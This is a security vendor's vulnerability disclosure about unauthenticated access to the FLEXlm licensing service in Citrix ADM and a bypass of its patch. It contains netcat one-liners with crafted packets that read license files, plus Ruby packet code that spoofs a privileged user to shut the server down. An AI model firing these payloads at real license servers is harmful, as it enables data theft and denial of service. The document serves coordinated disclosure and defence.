Last updated at Wed, 27 Dec 2023 15:12:33 GMT

Note: Updated October 20, 2022 to clarify that this bypasses CVE-2022-27512 and not CVE-2022-27511, which has a different root cause.

On June 27, 2022, Citrix released an advisory for CVE-2022-27511 and CVE-2022-27512, which affect Citrix ADM (Application Delivery Management).

Rapid7 investigated these issues to better understand their impact, and found that the patch is not sufficient to prevent exploitation. We also determined that the worst outcome of this vulnerability is a denial of service - the licensing server can be told to shut down (even with the patch). We were not able to find a way to reset the admin password, as the original bulletin indicated.

In the course of investigating CVE-2022-27511 and CVE-2022-27512, we determined that the root cause of the issues in Citrix ADM was a vulnerable implementation of popular licensing software FLEXlm, also known as FlexNet Publisher. This disclosure addresses both the core issue in FLEXlm and Citrix ADM’s implementation of it (which resulted in both the original CVEs and later the patch bypass our research team discovered). Rapid7 coordinated disclosure with both companies and CERT/CC.

As of this publication, these issues remain unpatched, so IT defenders are urged to reach out to Revenera and Citrix for direct guidence on mitigating these denial of service vulnerabilities and CVE assignment.

Products

FLEXlm is a license management application that is part of FlexNet licensing, provided by Revenera's Flexnet Software, and is used for license provisioning on many popular network applications, including Citrix ADM. You can read more about FlexNet at the vendor's website.

Citrix ADM is an application provisioning solution from Citrix, which uses FLEXlm for license management. You can read more about Citrix ADM at the vendor's website.

Discoverer

This issue was discovered by Ron Bowes of Rapid7 while researching CVE-2022-27511 and CVE-2022-27512 in Citrix ADM. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Citrix ADM runs on FreeBSD, and remote administrative logins are possible. Using that, we compared two different versions of the Citrix ADM server - before and after the patch.

Eventually, we went through each network service, one by one, to check what each one did and whether the patch may have fixed something. When we got to TCP port 27000, we found that lmgrd was running. Looking up lmgrd, we determined that it's a licensing server made by FLEXlm called FlexNet Licensing (among other names), made by Revenera. Since the bulletin calls out licensing disruption, this seemed like a sensible place to look; from the bulletin:

Temporary disruption of the ADM license service. The impact of this includes preventing new licenses from being issued or renewed by Citrix ADM.

If we look at how lmgrd is executed before and after the patch, we find that the command line arguments changed; before:

bash-3.2# ps aux | grep lmgrd
root         3506   0.0  0.0   10176   6408  -  S    19:22      0:09.67 /netscaler/lmgrd -l /var/log/license.log -c /mpsconfig/license

And after:

bash-3.2# ps aux | grep lmgrd
root         5493   0.0  0.0   10176   5572  -  S    13:15     0:02.45 /netscaler/lmgrd -2 -p -local -l /var/log/license.log -c /mpsconfig/license

If we look at some online documentation, we see that the -2 -p flags are security-related:

-2 -p    Restricts usage of lmdown, lmreread, and lmremove to a FLEXlm administrator who is by default root. [...]

Patch Analysis

We tested a Linux copy of FlexNet 11.18.3.1, which allowed us to execute and debug Flex locally. Helpfully, the various command line utilities that FlexNet uses to perform actions (accessible via lmutil) use a TCP connection to localhost, allowing us to analyze the traffic. For example, the following command:

$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread successful

Generates a lot of traffic going to localhost:27000, including:

Sent:

00000000  2f 4c 0f b0 00 40 01 02  63 05 2c 85 00 00 00 00   /L...@.. c.,.....
00000010  00 00 00 02 01 04 0b 12  00 54 00 78 00 02 0b af   ........ .T.x....
00000020  72 6f 6e 00 66 65 64 6f  72 61 00 2f 64 65 76 2f   ron.fedo ra./dev/
00000030  70 74 73 2f 32 00 00 78  36 34 5f 6c 73 62 00 01   pts/2..x 64_lsb..

Received:

    00000000  2f 8f 09 c6 00 26 01 0e  63 05 2c 85 41 00 00 00   /....&.. c.,.A...
    00000010  00 00 00 02 0b 12 01 04  00 66 65 64 6f 72 61 00   ........ .fedora.
    00000020  6c 6d 67 72 64 00                                  lmgrd.

Sent:

00000040  2f 23 34 78 00 24 01 07  63 05 2c 86 00 00 00 00   /#4x.$.. c.,.....
00000050  00 00 00 02 72 6f 6e 00  66 65 64 6f 72 61 00 00   ....ron. fedora..
00000060  92 00 00 0a                                        ....

Received:

    00000026  2f 54 18 b9 00 a8 00 4f  63 05 2c 86 41 00 00 00   /T.....O c.,.A...
    00000036  00 00 00 02 4f 4f 00 00  00 00 00 00 00 00 00 00   ....OO.. ........
    00000046  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000056  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000066  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000076  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000086  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000096  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000A6  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000B6  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000C6  00 00 00 00 00 00 00 00                            ........

If we start the service with the -2 -p flag, we can no longer run lmreread:

$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread failed: You are not a license administrator. (-63,294)

That appears to be working as intended! Or does it?

Protocol Analysis

We spent a substantial amount of time reverse engineering FlexNet's protocol. FlexNet uses a binary protocol with a lot of support and code paths for different (and deprecated) versions of the protocol. But we built a tool (that you can get on GitHub) that implements the interesting parts of the protocol.

It turns out, even ignoring the vulnerability, you can do a whole bunch of stuff against the FlexNet service, and none of it even requires authentication! For example, you can grab the path to the license file:

$ echo -ne "\x2f\xa9\x21\x3a\x00\x3f\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x67\x65\x74\x70\x61\x74\x68\x73\x00" | nc 10.0.0.9 27000
LW37/mpsconfig/license/citrix_startup.lic

You can even grab the whole license file:

$ echo -ne "\x2f\x8a\x17\x2d\x00\x37\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x
00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x00" | nc -v 10.0.0.9 27000
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.9:27000.
L6194# DO NOT REMOVE THIS COMMENT LINE
# "のコメント行は削除しLK6060NEN
# NE SUPPRIMEZ PAS CETTE LIGNE DE COMMENTAIRE
# NO ELIMINAR ESTA LÍNL5926IX PORT=7279

And you can also remotely re-load the license file and shut down the service if the -p -2 flag is not set when the server starts. That's the core of the original CVEs - that those flags aren't used and therefore a remote user can take administrative actions.

Patch Bypass

The problem is, all of the security features (including declaring your username and privilege level) are client-side choices, which means that without knowing any secret information, the client can self-declare that they are privileged.

This is what the "authentication" message looks like in flexnet-tools.rb:

  send_packet(0x2f, 0x0102,
    "\x01\x04" + # If the `\x04` value here is non-zero, we are permitted to log in
    "\x0b\x10" + # Read as a pair of uint16s
    "\x00\x54" + # Read as single uint16
    "\x00\x78" + # Read as single uint16
    "\x00\x00\x16\x97" + # Read as uint32
    "root\x00" +
    "CitrixADM\x00" +
    "/dev/pts/1\x00" +
    "\x00" + # If I add a string here, the response changes
    "x86_f8\x00" +
    "\x01"
  )

In that example, root is the username, and CitrixADM is the host. Those can be set to whatever the client chooses, and permissions and logs will reflect that. The first field, \x01\x04, is also part of the authentication process, where the \x04 value specifically enables remote authorization - while we found the part of the binary that reads that value, we are not clear what the actual purpose is.

By declaring oneself as root@CitrixADM (using that message), it bypasses the need to actually authenticate. The lmdown field, for shutting down the licensing server, has an addition required field:

when 'lmdown'
  out = send_packet(0x2f, 0x010a,
    "\x00" + # Forced?
    "root\x00" + # This is used in a log message
    "CitrixADM\x00" +
    "\x00" +
    "\x01\x00\x00\x7f" +
    "\x00" +
    (LOGIN ? "islocalSys" : "") + # Only attach islocalSys if we're logging in
    "\x00"
  )

The islocalSys value self-identifies the client as privileged, and therefore it is allowed to bypass the -2 -p flag and perform restricted actions. This bypasses the patch.

Impact

Remotely shutting down the FLEXlm licensing server can cause a denial of service condition in the software for which that licensing server is responsible. In this particular case, exploiting this vulnerability can cause a disruption in provisioning licenses through Citrix ADM.

Remediation

In the absence of a vendor-supplied patch, users of software that relies on FLEXlm should not expose port 27000/TCP to untrusted networks. Note that in many cases, this would remove the functionality of the license server entirely.

Disclosure Timeline

This issue was disclosed in accordance with Rapid7's vulnerability disclosure policy, but with a slightly faster initial release to CERT/CC, due to the multivendor nature of the issue.

  • June, 2022: Issues discovered and documented by Rapid7 researcher Ron Bowes
  • Tue, Jul 5, 2022: Disclosed to Citrix via their PSIRT team
    Thu, Jul 7, 2022: Disclosed to Flexera via their PSIRT team
  • Wed, Jul 12, 2022: Disclosed to CERT/CC (VU#300762)
  • July - October, 2022: Disclosure discussions between Rapid7, Citrix, Flexera, and CERT/CC through VINCE (Case 603).
  • Fri, Oct 14, 2022: Revenera publishes advisory indicating FlexNet Publisher 2022 R3 (11.19.2.0) contains a fix for the FlexLM issue.
  • Tue, Oct 18, 2022: This public disclosure

Rapid7 Customers

The October 18 content release for InsightVM and Nexpose contains a remote vulnerability check based on the version returned by a running FLEXlm license server, as well as an authenticated check based on the installed version of Citrix ADM. Please note that these checks require the Scan Engine and are not supported via the Insight Agent.

Update: On October 20, Rapid7 learned that Revenera published an advisory on October 14.